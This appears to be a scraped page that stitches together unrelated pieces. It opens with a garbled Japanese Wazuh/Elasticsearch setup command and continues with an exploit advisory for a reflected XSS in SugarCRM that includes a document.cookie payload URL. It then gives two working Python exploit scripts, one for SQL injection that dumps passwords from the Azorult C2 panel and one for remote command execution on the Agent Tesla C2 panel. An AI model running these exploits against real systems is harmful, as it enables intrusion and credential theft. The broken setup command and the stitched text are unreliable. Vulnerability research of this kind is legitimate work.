ElasticSearch用のWazuhテンプレートのロード:( KibanaのWazuhアプリケーションでは、Elasticsearchテンプレートが適切に機能する必要があるため、正しく挿入されることを確認することが非常に重要です。)
[root@wazhu-manage opt]#curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -x put 'http://localhost:9200/_template/wazuh' -h 'content -type:アプリケーション/json' -d @ -
%合計%re
# Exploit Title: 0Day UnauthenticatedXSS SugarCRM Enterprise
# Google Dork: N/A
# Date: 11.08.2019
# Exploit Author: Ilca Lucian Florin
# Vendor Homepage: https://www.sugarcrm.com
# Version: 9.0.0
# Tested on: Windows 7 / Internet Explorer 11 / Google Chrome 76
# CVE : 2019-14974
The application fails to sanitize user input on https://sugarcrm-qms.XXX.com/mobile/error-not-supported-platform.html and reflect the input directly in the HTTP response, allowing the hacker to exploit the vulnerable parameter and have malicious content executed in the victim's browser.
Steps to reproduce:
1.Attacker will craft a malicious payload and create a legitimate link with the payload included;
2. Attacker will send the link to the victim;
3. Upon clicking on the link, the malicious payload will be reflected in the response and executed in the victim’s browser.
The behavior can be observed by visiting the following URL:
https://server/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(document.cookie);//itms://
Clicking on FULL VERSION OF WEBSITE will trigger the XSS.
Impact statement:
Although requiring user interaction, reflected XSS impact might range from web defacement to stealing user info and full account takeover, depending on the circumstances.
Recommendation:
Always ensure to validate parameters input and encode the output.
import requests
import argparse
import base64
# Azorult 3.3.1 C2 SQLi by prsecurity
# For research purposes only. Don't pwn what you don't own.
# change GUID and XOR key to specific beacon, can be extracted from a sample
guid = "353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F"
key = "\x03\x55\xae"
def get_args():
parser = argparse.ArgumentParser(
prog="azorult_sploit.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
epilog= '''
This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard.
''')
parser.add_argument("target", help="URL of index.php (ex: http://target.com/index.php)")
parser.add_argument("-n", "--id_record", default="1", help="id of record to dump")
parser.add_argument("-p", "--proxy", default="http://localhost:8080", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
args = parser.parse_args()
return args
def CB_XORm(data, key):
j=0
key = list(key)
data = list(data)
tmp = list()
for i in range(len(data)):
tmp.append(chr(ord(data[i])^ord(key[j])))
j += 1
if j > (len(key)-1):
j = 0
return "".join(tmp)
def pwn_target(target, num_records, proxy):
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
try:
r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
print("[*] Your IP: {}".format(r.text))
headers = {
"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
}
print('[+] Getting URL, LOGIN AND PASS')
data = [
"|".join([
"1","2","3","4","5","6","7","8","9","10","11","12"
]),
"\r\n".join([
"|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p2) from passwords limit {},1) dumb),333,4,5,6,7), (111,(select * from (select concat({},0x3a,p_p3) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records,num_records, num_records)])
]),
"c",
"d",
":".join(["'11","22"])
]
payload = CB_XORm(guid.join(data), key)
r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
if r.text != "OK":
print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
raise
print('[+] Getting LOGIN/PASS')
data = [
"|".join([
"1","2","3","4","5","6","7","8","9","10","11","12"
]),
"\r\n".join([
"|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p1) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records)])
]),
"c",
"d",
":".join(["'11","22"])
]
payload = CB_XORm(guid.join(data), key)
r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
if r.text != "OK":
print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
raise
print('[+] If this worked, you will see two new records in password table at guest.php')
except:
print("[-] ERROR: Something went wrong.")
print(r.text)
raise
def main():
print ()
print ('Azorult 3.3.1 SQLi by prsecurity')
args = get_args()
pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip())
if __name__ == '__main__':
main()
import requests
import argparse
import base64
# Agent Tesla C2 RCE by prsecurity
# For research purposes only. Don't pwn what you don't own.
def get_args():
parser = argparse.ArgumentParser(
prog="agent_tesla_sploit.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
epilog= '''
This script will exploit the RCE/SQL vulnerability in Agent Tesla Dashboard.
''')
parser.add_argument("target", help="URL of WebPanel (ex: http://target.com/WebPanel/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-p", "--proxy", default="socks5://localhost:9150", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
args = parser.parse_args()
return args
def pwn_target(target, command, proxy):
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
print('[*] Probing...')
get_params = {
'table':'screens',
'primary':'HWID',
'clmns':'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
'where': base64.b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8'))
}
target = target + '/server_side/scripts/server_processing.php'
try:
r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
print("[*] Your IP: {}".format(r.text))
headers = {
"User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
}
r = requests.get(target, params=get_params, headers=headers, verify=False, proxies=proxies)
result = r.json()['data'][-1]['HWID']
print('[+] {}'.format(result))
except:
print("[-] ERROR: Something went wrong.")
print(r.text)
raise
def main():
print ()
print ('Agent Tesla RCE by prsecurity.')
args = get_args()
pwn_target(args.target.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()